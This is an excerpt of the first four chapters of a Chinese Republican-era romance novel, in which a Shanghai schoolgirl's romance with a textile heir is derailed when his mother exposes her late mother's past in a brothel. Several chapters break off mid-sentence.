《闻此一生》 1. 第 1 章 《闻此一生》全本免费阅读 这天下午,闻亭丽从学校出来,在校门口叫了辆黄包车,匆匆忙忙往家赶。 她在秀德女子中学念书,最近刚交了个男朋友,男朋友名叫乔杏初,是宁波织业世家乔培英的长孙。 今晚乔家预备设宴款待沪上名流,闻亭丽因是乔杏初的小女朋友,也在应邀之列。她一心要给乔家人留个好印象,怕晚上放学之后再打扮来不及,便干脆向学校告了病假。 “装病”这回事,旁人做起来或许很难,闻亭丽却一贯得心应手。 自小她就有一种旁人不具备的本领,想哭的时候只需眨一眨眼睛,便有晶莹的泪珠成串淌下来,那眼泪汪汪的可怜模样,任谁见了都会心软得一塌糊涂,再重重搓一把脸,鼻子和面颊即会泛起一片红,配上哭肿的泪眼,怎么看都是生了急病的模样,次次她装病,次次都成功。 这回当然也不例外。回到家,闻亭丽顾不上换衣服,先得意地冲镜子里的自己扮了个鬼脸。 “你这骗子!钱也给你骗光了,心也被你骗走了——” 这是上次看的一出名叫《鸾凤和鸣》的文明戏里的戏词和动作,她功课上不大用心,记戏词却比谁记得都快。 对着镜子自顾自表演一番,闻亭丽开心地笑起来,放下手里的旗袍,另拎起一件象牙白法国绸连衣裙。 乔杏初说好了五点钟开车来接她,她还有一个钟头的时间可以打扮自己。 这是六月里的一天,天气好得出奇,午饭过后,衖堂里的女人们聚到公共水龙头前说笑洗衣裳。 闻亭丽听着那喧闹的声响,心里说不出的快乐,一年四季她最喜欢初夏,不为别的,这季节的事物总是格外鲜亮,像现在,窗外蓝天上挂着轻絮似的白云,那颜色清透得不似真的,还有此刻摊在她面前的各式裙裳,那也是只有夏天才有的绚烂。 她兴致勃勃在镜前换衣服,楼下骤然安静下来,邻居们似是瞧见了什么稀奇事物,集体闭上了嘴,末了不知谁率先咳嗽一声:“来找亭丽是伐?在的,她在的。” 闻亭丽偷偷往楼下瞄去,就听奶妈周嫂在外头敲门:“大小姐,家里来客人了。” 伴随着小桃子的瞎嚷声:“姐姐……” 闻亭丽开门将小桃子夺入怀中,却不肯让周嫂进屋,顺势又把门关上了。 小桃子睡了一下午,这会儿看到姐姐自是高兴得不得了,小手轻轻摸着姐姐的脸,口里唧唧哇哇个没完,闻亭丽在妹妹的腮帮子上嘬了几口,把小桃子放到地上,寻出朱古力让她吃,自己回到镜子前继续捣腾。 小桃子在旁边仰脸看着姐姐,满脸都是好奇。 闻亭丽百忙之中在镜子里瞥见小桃子的憨态,不由噗嗤一笑:“你也想帮姐姐出主意是不是?那你说,姐姐穿这件好,还是穿那件好?” *** 楼下,闻德生正殷勤招待乔杏初。除了乔杏初,一同前来的还有几个衣着体面的女同学男同学,打着参加团契的名头,邀请闻亭丽出门。 闻德生心里很是满意。 姓乔的后生能做出这番安排,至少说明他很懂得维护女儿的名声。 说起来,乔杏初是第二次造访闻家了,乔家的底细,闻德生早在第一回见面之后就打听清楚了,对此人,无论家境还是相貌,他都说不出半个“不”字。 可热络归热络,他绝不肯让乔杏初迈上楼梯一步,女儿的名声要紧,他可不想日后街坊邻居议论出什么污糟话来。 这回他也跟上回一样,敞开了自家大门,用茶点将一帮年轻人框在楼下,一只眼睛盯牢了乔杏初,另一只眼睛不时瞟瞟门外影影绰绰的身影,那神态俨然在告知街坊邻居:“瞧见没?我闻德生的女儿可是规规矩矩的。” 好在乔杏初也甚懂礼数,别说找借口上楼寻女儿,连眼睛都不带往楼上多扫一眼的。 闻德生瞧在眼里,骨瘦的脸上又添了几分笑意,他闻德生一辈子只做过两件得意的事:一是娶了个可心的老婆,二是生了两个如花似玉的女儿。 去年老婆因病去世,他也跟着大病一场,病中一度想追随老婆而去,为着两个没成年的女儿才勉强撑了下来。 现在他不盼着别的,就盼着女儿们日后能找个好人家。 穷人他是瞧不上的。 活了大半辈子,他自己吃够了“穷”的苦。当年他带着老婆和兄弟从南京避难到上海,折腾好几年才攒够钱开了一家洋衣店,两口子齐心协力,店里生意一年比一年好,如今提起“德生”洋衣店,也算是远近闻名,可是这其中的酸甜苦辣,只有他和老婆知道。将来若是女儿嫁个穷小子,岂不是要跟她母亲一样受苦? 说起当年跟他一起来上海的拜把子兄弟,不得不感叹一句造化弄人,此人叫邱大鹏,来上海没多久就发迹了,开洋车,住公馆,就连抽烟也只抽“茄力克”,偏偏邱家的公馆离他家不远,没事就带着太太和儿子过来串门。 当闻德生还在以每礼拜带女儿们去一趟大世界玩耍为荣的时候,邱大鹏的儿子早已是仙乐丝的常客了,家里雇着中西两个厨师,每天翻着花样做各种好吃的,想吃什么点心了,只需一个电话,飞达咖啡馆的西崽就把昂贵的洋点心成盒送上门来。 闻德生看着眼热,老婆却始终待邱家人不冷不热。 前年邱太太因病去世之后,父子俩来得愈发勤了,迟钝如他,到这时才看出邱家人抱着什么心思。 近年来亭丽出落得亭亭玉立,又考上了秀德女子中学,邱大鹏分明有意要给儿子和亭丽说媒,老婆却说邱大鹏不是什么正派人,断然不肯答应,临死前还死死瞪着他,非逼他发誓绝不让亭丽嫁给邱凌云才肯闭眼。 可这拦不住邱凌云惦记亭丽,过去这两年,这小子没事就开着洋车去学校堵亭丽,亭丽是个小滑头,自有法子挤兑那小子,可他这做父亲的依旧没少为这事烦心。 还好女儿够争气,不声不响就领回来一个男朋友。同眼前这位乔公子比起来,邱凌云那小子就是个十足的瘪三。邱凌云大约也怕自讨没趣,自从乔公子出现在亭丽身边之后,便再也没在女儿中学附近露过脸。 一念至此,闻德生心头隐约掠过一丝不安,老婆在世时常对他说:宁可得罪君子,莫要得罪小人……他不确定邱大鹏是不是小人,只知道得罪人总归不好,要不改天带着东西到邱大鹏家里走一走? 几个人正寒暄着,就听见楼梯上响起脚步声,却是闻亭丽牵着小桃子的手下来了。 乔杏初抬头一望,眼里不由浮出一抹笑影,亏她在房里鼓捣半天,到头来挑了一件样式最保守的衣裳穿上了,一件烟粉色宽身旗袍,底下配一双杏白色平底皮鞋,身上一无首饰,只在头上别了一只珠贝发夹,人就像瓶子里的一只百合花,端的是窈窕无双。 一望之下,乔杏初便想起数月前第一次见到闻亭丽时的情景。 当日沪上几个女子中学联合搞爱国汇演,他妹妹的学校也有节目,妹妹第一次上台多少有点紧张,硬逼他这做哥哥的前去观演。 因那天前来看演出的人很多,妹妹专门给他在东侧的贵宾席留了个位置,他寻到那条小通道正要入场,那猩红的天鹅绒门帘一动,里头走出个女孩来。 那女孩怀中捧着一束百合,一时没注意,差点就撞进他的怀里。 女孩急忙刹住了脚。乔杏初也立定,一低头,不提防看见一张出奇漂亮的脸蛋,长睫毛下的眼睛似藏着星芒,眸光流转,让人心中一惊。 女孩似乎确认自己没撞到乔杏初,只笑了一声就跑了。 之后一个节目里,乔杏初再一次看见了那女孩。那是莎翁的一出戏,这女孩扮演朱丽叶,另一个秀德中学的女学生假扮罗密欧。 每个人的表演都很到位,可是乔杏初的目光几乎无法从女孩身上挪卡,她的表演似乎有某种魔力,一颦一笑总能轻易把人带到戏里去。 他听到后排有人低笑着对另一人说:“名不虚传吧?那可是秀德中学的校花……” *** 他在那儿兀自想得出神,闻亭丽牵着小桃子走过来了,一来就跟每个同学打招呼,唯独不理会乔杏初,末了将小桃子送到周嫂手里,圈起两个女同学的臂弯向外走,扬声说:“爹,我们走了。” 乔姓初微微一笑,蹲下身牵了牵小桃子的小手,继而将一个大礼盒递给小桃子:“你姐姐说你喜欢读小人书?” 小桃子的注意力却早被乔杏初身后的桌子吸走了,那上面堆满了乔杏初带来的五颜六色的糕点。 闻德生客气地推脱了几句,实在拦不住也就罢了,眼看一行人要走,并不亲自相送,只在门口含笑嘱咐道:“九点钟一定回来。刘同学、陈同学、乔先生……那就劳烦你们多照应亭丽了。” *** 两辆洋车停在衖堂口。 乔杏初那辆奶油色奥斯丁双门跑车仅能容得下两个人,几人装模作样商量一番,同学们一窝蜂坐到后面那辆洋车上去了。 乔杏初向来很有绅士风度,先替闻亭丽开了门,而后从另一边上车,坐下后看了几眼闻亭丽,笑问:“怎么没穿上回在先施百货给你买的连衣裙?” “我身上这件不好么?学生就该有学生的样子。” 那件洋装就连先施百货也只有一件,别人随便一打听就知道是乔杏初送她的了。她跟乔杏初还未订婚,这种事落在有心人眼里,到头来被编排的可是她。 乔杏初敛了笑意:“你素来要强,平日送你什么东西,你总是不肯收,这事是我欠考虑了,不过——” 他正色对她说:“昨日我祖父从宁波过来了,今晚接你去我家,就是想当着众亲友的面 2. 第 2 章 《闻此一生》全本免费阅读 闻亭丽想起前几日才在报纸上看到这位孟公子的照片,文章标题是《大昌实业老板孟麒光重振家业始末》。 报上说,孟麒光继承祖业时大昌公司已经濒临破产,当时外界都料定他撑不过三月,可万万没想到,孟麒光不仅很快就将亡父在世时赔出去的旧厂子全数收购回来,还陆续在武汉、慈溪、无锡等地新开了几家面粉厂。如今大昌的资本扩充了好几倍,俨然成了本地实业界一颗冉冉升起的新星。另有传言,孟麒光跟沪上几个帮派老大私交甚笃,黑白两道都吃得开。 “当真是后生可畏,孟公子比其父精明强干何止百倍。”云云。 正出神,孟麒光身边一位神采奕奕的短发圆脸女子开腔道:“闻小姐还记得我么?” 闻亭丽歉笑着摇头。 短发女子不以为忤,大方方自我介绍:“我叫黄远山,是黄金电影公司的导演。” 闻亭丽一惊,凡是喜欢看电影的,无人不晓黄远山的大名。 她这两年新红起来的名导演,作品风格很独特,难得的是部部卖座,因而很受黄金电影公司重视,大明星段妙卿就是她一手捧红的。 作为影院常客,闻亭丽基本看过黄远山导演的每部片子,最喜欢的就是去年那部红极一时的《春申往事》。 她不禁好奇打量黄远山,年约二十七八岁,短头发,头戴鸭舌帽,穿着打扮十分随意,然而眼神明亮坚毅,一看便知头脑灵活。 黄远山主动递过来一张名片:“我在贵校的礼堂见过闻小姐一面,当晚闻小姐扮演《迷魂记》的主角,令人一见难忘,散场后我想过去跟你打过招呼,可惜闻小姐已经走了,这是在下的名片,还请闻小姐过目。” 旁边有人笑道:“黄姐这是又要发掘大明星了?” “闻小姐既有美貌又有天赋,不演电影可惜了。怎么样,闻小姐若是有兴趣,改天来敝公司一试?” 闻亭丽笑着摇摇头:“我真是受宠若惊,但我对演戏不是很感兴趣。” “不感兴趣,怎能演得那样好?闻小姐别误会,敝公司是正派公司,向来只拍进步影片的。” 她似乎打定主意要说动闻亭丽,说话间又从衣内取出一张黄金戏院的入场券要递给她。 闻亭丽为难地微笑着,她虽喜爱戏剧,却并不想跟电影公司扯上什么关系,孟麒光在旁笑道:“人家不想去,你又何必为难人。你们公司那么多演员,什么段妙卿、沈青,个个风头正健,还差这一个?” 碰巧外头几个太太路过,听见这话,忍不住打趣黄远山:“难得参加晚会,你这孩子满口还是电影电影,难怪你父亲气得那样,放着家里的生意不管,天天搞什么新式文化。你也不想想,谁家好女儿去拍戏?人家小姑娘是宝心的同学,会答应你才怪。” “偏见!”黄远山涨红了脸,“统统都是偏见!电影可是八大艺术之一——” 这时候,乔家的管事领进来好些客人,当先几个年轻人一看到孟麒光和黄远山就笑道:“你们两个怎么来得这样早?” 闻亭丽只纳闷乔杏初为何迟迟不来寻她。好在这一打岔,黄远山总算将方才的话题撇到一边去了:“麒光和我在等人。” 几人讶笑:“没听错吧?谁有这么大的面子叫你们二位等?” “你们不知道?南洋鸿业的陆老先生今晚也要来。” 屋里一默,在座的几乎都听说过“南洋鸿业陆家”的大名。 陆家祖籍上海,发家却是在南洋一带,听说当年陆家某位祖上漂洋过海到南洋谋生,先干矿工,后到钱庄帮佣,攒够钱之后,先从杂货店做起,不久便变卖全部家当去文东埠雇人开矿,不料挖到了锡矿,从此发了大财,开始大量买地种橡胶,成为南洋有名的橡胶大王。 陆老先生是鸿业陆家的第二代传人,继承父业后,陆老先生进一步开办了远洋航运和棉麻机械厂等业务,将陆家的资产扩展到巴城、棉兰及苏门答腊等地,财富在南洋富绅中首屈一指。 那之后,陆老先生怀抱一腔爱国热情将部分资产转投国内,二十年间陆续在沪上、北平、天津、香港等地都投注了产业,而且乐于资助国内同行,光是苏州桥边上的那间力新银行,一年下来就能给各爱国中小企业提供三四千万元的贷款(注)。 坊间有句话:“陆家随便从手缝里漏点小渣子,就能救活沪上一个小厂子。” 倘若今晚乔家真请动了陆老先生,也难怪连孟麒光都肯耐着性子候一候了。 却听乔宝心笑道:“你们都猜错了,今晚来的可不是陆老先生,而是陆小先生。” 众人愈发吃惊:“陆世澄?” 座上两个女孩脸一下就红了。闻亭丽正纳罕众人为何神色各异,猛不防看窗外的花园走过一个老熟人——邱大鹏。 自打她跟乔杏初在一起,邱凌云就再也没到学校门口堵过她了,邱大鹏和邱太太想必也知道儿子讨了没趣,最近再没来闻家串过门。 奇怪,邱大鹏今晚怎会在这儿?哦是了,邱大鹏现今在大宝洋行当买办,大宝洋行的女儿跟乔宝心是堂亲,邱大鹏那么会钻营,顺着摸过来也不稀奇。 不等她细看,那身影很快就混入了人堆里。这时乔宝心起身道:“有点热,亭丽、艾莎、其珍,我们到花园里走一走。” 闻亭丽本也想出去一探究竟,笑说:“好。” 黄远山追上来说:“闻小姐,方才的话还请你务必放在心上,我能看得出你喜欢戏剧,过来试一试总没坏处。” “她去不了。”有人应声道。 闻亭丽心中一喜,乔杏初来了。 乔杏初径直走到闻亭丽身边,对黄远山笑着说:“远山姐,我来正式做个介绍吧,闻小姐是我——” “杏初!”话音未落,外头走进一个穿淡墨银缎紧身旗袍的中年妇人,妇人瞪着闻亭丽,眼神凌厉至极。 闻亭丽被对方眼里的寒意所慑,不由一怔。 乔杏初皱眉低声道:“妈。” 乔太太转眼间便换了一张笑盈盈的脸,冲屋里的年轻人说:“慢待各位了。杏初早说要进来招呼你们,谁知刚才在花园里碰到了莉芸。你们也知道的,他跟莉芸自小就熟识,头两年莉芸在美利坚念书见不着也就算了,她这一回来,两个孩子自是有说不完的话,我刚才还笑话杏初,有什么话不能稍后再说,非要把一屋子的客人撇下不管?” 闻亭丽震惊地看看文杏初,又看看乔太太。 乔杏初眼睛直视着母亲,冷而硬地说:“屋子里太热,我先带亭丽出去转一转。” 闻亭丽心里乱归乱,依旧迅速稳住心神向乔太太鞠了一躬:“伯母好。” 她的笑容是那样憨甜,哪怕是坚冰也能融化几分。乔太太却只管瞪着儿子:“别忘了你祖父还在书房等你。” 乔杏初不为所动:“母亲,她叫闻亭丽,她是我——” “你祖父刚才已经晕过一回了!”乔太太铁青着脸猝然打断乔杏初,“难道你还要逼他老人家进医院才罢休?” 乔杏初好似被这话掐中了喉咙,一下子噎住了。 乔太太语气稍缓,压低了嗓门道:“今晚陆家来人了,你祖父和父亲要亲自招待贵客还有许多话要嘱咐你,别再让他们生气。” 又轻声劝道:“你这孩子真是实心眼,你祖父仍在气头上,你越是顶着来,越容易把事情弄糟,非要今晚彻底闹僵?何不缓一缓再说?” 这番话分明流露出几分妥协之意,乔杏初有所触动,转头望着闻亭丽,仍有些不放心的样子。 乔太太换了一副和悦的表情,客客气气问闻亭丽:“听说你们几个是宝心学校里的同学,你姓闻?” 闻亭丽忙甜笑着点头。 “这孩子真漂亮。”乔太太握住闻亭丽的手不住打量,“平日里功课如何?” 乔宝心原本夹在自己母亲和哥哥中间左右为难,闻言忙说:“亭丽功课好,方方面面都好,每回学校有爱国汇演总由她担任主角,连我们学校戏剧社的先生都对她赞不绝口呢。” 乔太太笑容更加真挚了:“今年多大了?” “我十八了。” 乔太太慈蔼地点点头:“跟我们宝心一样大,你是几月份的?” 说话时一直亲热地握着闻亭丽的手,乔杏初神色稍霁,这时又有人进来说:“慈心医院的邓院长来了。” 乔太太趁机催促乔杏初:“快去招待邓院长,她老人家医术高明,待会由她帮你祖父亲自看一看,我们也放心些。” “那我失陪了。”乔杏初冲屋里人颔首,又柔声对闻亭丽说,“我走了?” 乔太太眸中的笑影纹丝不动,等儿子一走,马上松开闻亭丽的手,改而看向另外两个女同学:“你们两个谁是陈艾莎?谁是刘其珍?” 二人礼貌应答,乔太太亲切地说:“杏初知道你们是宝心最要好的同学,唯恐怠慢你们三个,这回也算正式介绍过了,以后欢迎你们常到家里来玩。” 一番话竟又将儿子和闻亭丽的关系撇得干干净净,闻亭丽咬了咬唇,看得出来,乔太太是真不喜欢她。 也许,是因为两个人还不太熟的关系,她相信只要多接触几次,乔太太一定会知道她有多可爱的。 这一想,她又露出开心而自信的笑容,忽觉对面一道目光落在自己身上,一抬眸,就见孟麒光戏谑地打量自己。 他从沙发上起身,状似随意对乔太太说:“表姐先忙,我去书房跟表姐夫说几句话。” 这人年纪虽轻,却是既稳重又有风范,他这一走,剩下的年轻人也都跟着出去了。 乔太太含笑摇摇头,回头望见闻亭丽,面色彻底冷了下来,对乔宝心说:“你莉芸姐在花园里,你平日总念叨她,还不去找她玩?” 乔宝心环住母亲的肩膀神秘兮兮地说:“今晚祖父生日,我替他老人家准备了一份礼物。” “什么礼物?” 忽有下人过来说:“太太,务实女子中学的米歇尔主任来了。” 那边,一个身材高瘦的洋人女子正朝乔太太招手,乔太太欣喜地迎上去:“米歇尔!” 两人非常熟络的样子。转眼工夫,花厅里就只剩下闻亭丽几个了。 几人大眼瞪小眼。陈艾莎和刘其珍都看出乔太太刻意冷淡闻亭丽,不免有些讪讪的,闻亭丽却兴致勃勃左顾右盼:“宝心,盥洗室在哪里?我怕我头发有点乱了。” 乔宝心忙领着几人去楼上她自己房间的盥洗室,路上有意落后几步,悄声对闻亭丽说:“莉芸是我们远房亲戚家的女儿,之前一直在美利坚念书,最近刚回来,她人很好,但我哥哥跟她没什么的,你放心吧。” 闻亭丽佯装不在乎:“我有什么不放心的? 乔宝心乜斜着笑眼:“我都闻到酸气了。” 闻亭丽噗嗤一声,好吧,她心里的确介意得要死。 “其实我也是有私心的。”乔宝心解释说,“我妈这个人脑子里净是老派思想,我早就料定了,将来某一天我要自由恋爱,她和我父亲一定也会横加干涉,假如这次我哥哥能够自己做主,将来我的事,他们就不好说什么了,所以我一定要帮你们的。” 闻亭丽心里很感动,但同时也奇怪乔家的风气怎么这样保守。稍后从盥洗室出来,在走廊里碰到一个管事模样的人:“小姐,不好了,花园乐团的那个洋主唱露、露什么来着——” “露易莎。” “对对,这洋人刚才晕过去了,邓院长说是严重低血糖,让赶快送到医院去。” 乔宝心拔步就跑:“不好!” 闻亭丽追上去:“怎就急成这样?大不了换个节目就好了。” “你不知道,这节目是我为祖父准备的,主唱都昏倒了,我还怎么给他老人家一个惊喜?” 说话间赶到花园,凉亭前围着好些人,露易莎躺在秋千旁的藤椅上,脸色很苍白,一位满头银发的老太太正俯身为她做诊视。 老太太穿件菊叶青绉纱旗袍,风仪十分出众。 闻亭丽听见有人说:“她就是慈心医院的邓院长。” 邓院长直起身说:“没什么大碍了,但最好在急诊病房观察一晚。请拿床被子来给她盖上,路上一定给她保温。” 她的话显然很有威望,乔家人立即令人去取被子。好不容易送走露易莎,有位女眷就问乔宝心:“说好了今晚由这洋人打头阵,这下好了,你赶快想想换什么节目。” 另一位长辈仿佛有点幸灾乐祸:“你母亲常说你是族中最聪明的一个,这次特地请你帮忙给老爷子祝寿,结果呢,还没开场就出这样的乱子,你祖父刚才还好奇你给他准备了什么样的惊喜,这下白高兴了。” 乔宝心脸上一阵红一阵青,转头望望身边的闻亭丽,忽道:“我早做了两手准备,露易莎病了,可现场还有一位会唱歌的才女。” 说话间把闻亭丽推到前面:“我这位同学的歌喉可是不输露易莎小姐噢。” 闻亭丽一惊。可她当即看出了乔宝心眼睛里的哀求,联想到刚才那几个乔家长辈暗中贬损乔氏母女的话,心里顿时明白了,乔家枝叶繁乱,乔宝心多半也有她的难处。 “亭丽……求你……”乔宝心满脸歉意,紧紧握住闻亭丽的手。 闻亭丽担心她下一秒就要哭出来。 “好吧……我试试。” 乔宝心明显松了一口气,领着闻亭丽向花园中央走去,黄远山迎上来担忧地说:“闻小姐,你先前练习过这首歌吗?那可是《green sleeves》,伴奏只需一架钢琴,相当考验歌喉,而且歌词是话剧式的一长串英文,万一中途忘了词……” 可就要当众丢脸了。 恰在此时,乔太太和小姑子李太太闻讯而来,接话说:“这位闻小姐既然敢应承,那就说明她对自己有这份信心,正好老太爷和老爷都在二楼,推开窗户就能欣赏到闻小姐的表演,闻小姐,请吧。” 话说到这份上,闻亭丽不上也得上了。 她并不认为一首歌就能让乔太太对她改观,但是乔太太既然存心刁难她,她也不能临阵脱逃。 她看出黄远山是真的担心她,为着这份友善,她对黄远山笑了笑,泰然对乐队点点头,琴师仿佛也很好奇闻亭丽究竟行不行,手一抬,音符流水般倾泻而出。 闻亭丽走到钢琴边,将手搭在琴边,很随意地唱出第一句。 “Alas my love, you do me wrong。” 她是那种微沙的嗓音,往日里说话也有点像伤风似的,这会儿温柔浅唱,自有一种凄荡的迷人腔调。 花园里骤然一静。这歌声仿佛自虚空里伸过来一只小手,在人们的心上轻轻摸了一把。那是一种酥到耳根里的奇妙体验,原本在交谈的,不自觉停止了交谈。 尽管这首歌是诉说爱意的,但那音调清雅得让人想起儿时耳边母亲的呢喃, 全场哑默无言。歌声之所以能打动人心,除了需要高超的技巧,更需充沛的感情,很显然闻亭丽的歌声有这样的感染力,唱到凄婉处,她眉眼中也满是悲伤,唱至高兴处,又如夏日枝头的鸟儿那样活泼。 二楼的窗户被人推开了,楼上的人也在无声聆听。 “Greensleeves now farewell adieu Go 3. 第 3 章 《闻此一生》全本免费阅读 到家已是八点多。 闻亭丽从电车上跳下来,顶着一双哭红的泪眼进了衖堂。 闻家的房子是赁来的,一楼用做洋服店的店面和主卧,二楼的亭子间住着小桃子和周嫂,闻亭丽自己一个人住在三楼的卧室。 这当口,洋服店早已打烊了,她径直到后头去找父亲,房里却没人,在过道里怔立了一会,听到大门口传来声响,就看见父亲得意洋洋哼着小调进了门。 闻德生猛不防看见女儿从后头出来,不由诧异地打了个酒嗝:“这么早就回来了?” 闻亭丽不出声。 闻德生只当女儿为自己出去喝酒的事生气,也没当回事。 前不久他因身体不舒服去医院看过一回,那西洋医生说他肝脏有点炎症,要求他戒酒。他这人向来怕死,马上就戒了,三个月以来,他几乎滴酒未沾,可谁叫今晚乔杏初大张旗鼓接女儿去乔家正式见长辈呢?这不是好事将近吗? 他一个人坐在家里,越想越得意,也就顾不得医生的交代了,兴兴头头去找朋友喝了一回酒,怕女儿回来发火,特地掐着点提前回来。 眼看女儿疾步逼近自己,闻德生突然瞠圆一双醉眼:“噫,怎么哭成这样??” 女儿头发蓬乱,一双眼睛红肿得像桃子。 “究竟怎么回事?是不是乔杏初欺负你了?” 听到这个名字,闻亭丽喉间一哽,可她迅速把泪抹去,佯装平静发问:“爹,妈是不是叫过‘阿柔’这个名字?” 闻德生瞬间变了脸色,气急败坏地说:“什么阿柔?你听谁说的?” “爹爹你自己说的!几年前你喝醉了酒跟妈拌嘴,我在门外亲耳听到的。” 闻德生嗫嚅了几句,跳起来疾言厉色地说:“那又如何?那不就是个小名吗,是不是有人在你面前胡说了什么?” 闻亭丽回想今晚在乔家被乔太太明里暗里羞辱的情形,满腔委屈无处可说,索性趴到一旁的桌子上哇哇哭了起来。 闻德生急得直跳脚,好不容易从女儿口里问明白发生了什么事,他身子一晃,黄着脸歪坐到了椅子上:“乔太太怎会知道这事?” 闻亭丽带着哭腔继续追问:“妈脸上的伤疤怎么来的?” “你妈她………” 闻德生一咬牙,索性承认了:“你妈原是个富家小姐,可惜命不好,才十几岁就赶上家道中落,家里人接二连三生病去世,你妈孤苦无依,被亲戚卖到了窑子里……后来为了从红粉花楼脱身,她不知吃了多少苦头,毁容是毁容了,但好在全身而退了……唉,这些事不提也罢。” 闻亭丽越听越心疼,想了一想,冷嗖嗖地发问:“邱大鹏过去在南京认识我妈么?” 依她看再没有旁人。今晚乔家的达官贵人那样多,邱大鹏却只露了一面就走了,以他那爱钻营的性子,若非心虚怎会不混个脸熟再走? 闻德生像青蛙一样跳起来:“是他?!我说呢,都这么久的事了,乔太太怎么会知道?原来是姓邱的在乱嚼舌根。他这是见不得我们好哇!” 话说当年他跟邱大鹏相识时,他还只是一个小裁缝,邱大鹏则在红粉花楼里面做保镖,两家恰好门对门,彼此常常打照面,一来二去的,两个同龄人就熟络了起来。 闻德生所在的霓裳裁缝铺远近闻名,他又是一众学徒中手艺最好的那个,一向甚得师父器重,邱大鹏大概看出他手头颇宽裕,三不五时就来找他借钱。 邱大鹏这人有个好处,说三天还钱,绝不会拖到第四天,而且为人很讲义气,不管闻德生这边遇到什么麻烦,他总是第一个到场帮忙,没多久,闻德生和邱大鹏便正式成为了拜把兄弟。 就在这时候,阿柔被卖到了红粉花楼。第一次看到阿柔时,闻德生和邱大鹏两个人的眼睛都直了,大约是从小学习琴棋书画的缘故,阿柔的气质与众不同,来了没多久就成了红粉花楼的头牌。 有一次阿柔和老鸨到裁缝铺做衣裳,恰恰是闻德生接待的阿柔,他对她尊重有加,说话也是轻声细语,那天走的时候,阿柔看了他好几眼。 后来闻德生才知道,阿柔当时就觉得这个小裁缝相貌清秀,难得的是在她面前一点轻薄之态都没有,故而对他颇有好感。 后来阿柔经常来找他做衣服,慢慢地,两个人就偷偷好上了。 结果没多久,邱大鹏因为得罪另一帮马仔差点被人打死,阿柔出面救了他。事后邱大鹏认阿柔做义妹,口口声声说日后阿柔的事就是他的事。 也是在那一阵,邱大鹏无意间发现阿柔和闻德生在一起了,整个人消沉不少,有一次还半开玩笑问阿柔为何看不上他。 可是没办法,一个是自己认的义妹,另一个是自己的拜把兄弟,他郁郁一阵也就撒开手了。 后来阿柔被一个军阀大老爷看上,为摆脱那人的纠缠,情愿自毁容貌,可如此一来,她也没办法继续在南京待下去了,刚好两个人手头都攒了一点钱,便隐姓埋名逃到上海来。 邱大鹏早觉得当保镖没意思,便同他们一起出来。 三个人在南京共过患难,加上阿柔又救过邱大鹏的命,两口子并不担心邱大鹏在外头乱说。事实上,这些年他们一家的确过得很安稳。 谁知道,人是会变的。 又或者,他们从一开始就看错了人。 听完来龙去脉,闻德生气得浑身哆嗦:“你妈在世时就看出邱大鹏心胸狭窄,劝我少跟他往来,我一开始还没当回事,没到到邱大鹏来上海之后,什么昧良心的事都肯做,虽说没多久就发达了,但我跟他的交情早就淡了,我知道他是为了什么害你——” 他咬紧了牙槽:“无非是自己儿子在你这里吃了排揎心里气不过,所以想拆散你和乔家公子,他以 4. 第 4 章 《闻此一生》全本免费阅读 站在乔杏初的角度,一时只能看到闻亭丽的侧脸,那是他见过的最令人心动的美丽线条。 他情不自禁开了腔:“亭丽。” 考虑到闻德生就在楼下,并不随手关门,径直走到闻亭丽身后。 “对不起…………昨晚我妈不该那样羞辱你,我代她向你道歉。” 闻亭丽委屈得啜泣起来,她本就具备假哭的本事,何况眼下是真伤心,又因为担心自己和乔杏初的未来,哭声里更添一份浓浓的忧愁。 乔杏初转到闻亭丽身侧低头望着她,看那晶莹的泪珠断线般地往下掉,心里又疼又愧,取出手帕,轻轻帮她擦眼泪。 闻亭丽把头扭到一边。 乔杏初只得把那湿透的帕子攥在自己的手心里。 “我有几句话想对你说。”只说了这一句,接下来又是长久的沉默。 闻亭丽感觉自己等了一整年那么久,依旧没等来乔杏初的下文。 她忍不住隔着泪雾觑向乔杏初,才发现他的样子很奇怪。他像是内心正激烈地挣扎着,苦恨、懊恼……甚至还有点难堪。 她从未在乔杏初脸上看过那样复杂的神色,那种疲惫像是刚经历过一场拼死的战争。 终于,乔杏初似是整理好了自己的思绪,正式迎向闻亭丽的目光:“昨晚得知这件事,我也很惊讶。你别哭……我母亲她满脑子都是旧思想,她怕我替你遮瞒,故而一开始并未惊动我,而是连夜动用南京的关系打听你母亲当年的事,等到一一弄明白了,再抢先告诉我祖父,我被她弄得措手不及,目前最大的问题不在于她,而是我祖父。” 他倦怠地垂下肩膀:“我祖父这人非常顽固,无论我怎样解释,他都认定你和伯父一开始就故意欺骗我。” 闻亭丽一震:“我没有!” “我当然知道你没有,跟你交往这么久,我还不知道你的性子吗。”乔杏初抬手摸摸闻亭丽的脑袋,勉强挤出笑容,“可是……伯母她做过青楼女子是事实。” 闻亭丽泪光一凝:“难道你也瞧不起她么?这不是她的错,要怪只能怪这不合理的社会——” 乔杏初默然片刻,以一种含蓄的态度道:“伯母是伯母,你是你。我体谅伯母当年的苦衷,但我爱的只是你。” 闻亭丽心中一惊,乔杏初受过高等教育,论理在这种事上会比旁人更包容,可他好像根本没办法接受…… 不——人人都有自己的立场,她愿意理解和尊重他的想法,只是,既然他如此看待她的母亲,两人之间恐怕也没办法再走下去了。 乔杏初看她赌气不肯开腔,不禁牵动了心中的怜意:“亭丽,你知道我有多爱你……” 她不答,他疲惫地叹了口气,退坐到旁边的椅子上,垂眸看着地面说:“昨晚我祖父已经表明了态度,说他永远不会同意我和你在一起,不仅因为伯母的事,还因为他已经给我拟定了亲事。” 闻亭丽一惊,乔杏初自嘲地牵牵嘴角:“自从父亲接管家里的生意后,几处厂子都出了问题,大头资金一断,家里的棉纱厂起码要关闭一半。为了替我父亲拉来一些襄助,祖父借着寿宴的名义宴请沪上名流,幸而他老人家尚有几分薄面,昨晚连陆家的人也请来了。另一方面,相信昨晚你已经见过白莉芸。” 他难堪地低下头。 白家跟乔家是世交,因他和白莉芸是同年同月同日所生,当年两家长辈曾半开玩笑给他和白莉芸订过娃娃亲,但由于近来社会风气开化,他和白莉芸并未将其当回事。 今年年初,白家的洋烟厂因为外商大肆倾销(注),运作上也遇到了极大的困难,期间白家曾向乔家求援,祖父主动提起当年两家结亲的事,白家在江苏认识不少棉纱原料商,能帮乔家争取到质优价廉的原料,而他们乔家则在本市拥有一块位置不错的地皮,很适合给白家做厂房和门市。 两家若能互帮互助,不愁度过难关。 他祖父这一提,白家也就顺水推舟答应了。昨晚祖父做寿,两家长辈本想正式向他和白莉芸通通气,不料他不打招呼就带回来一个闻亭丽。 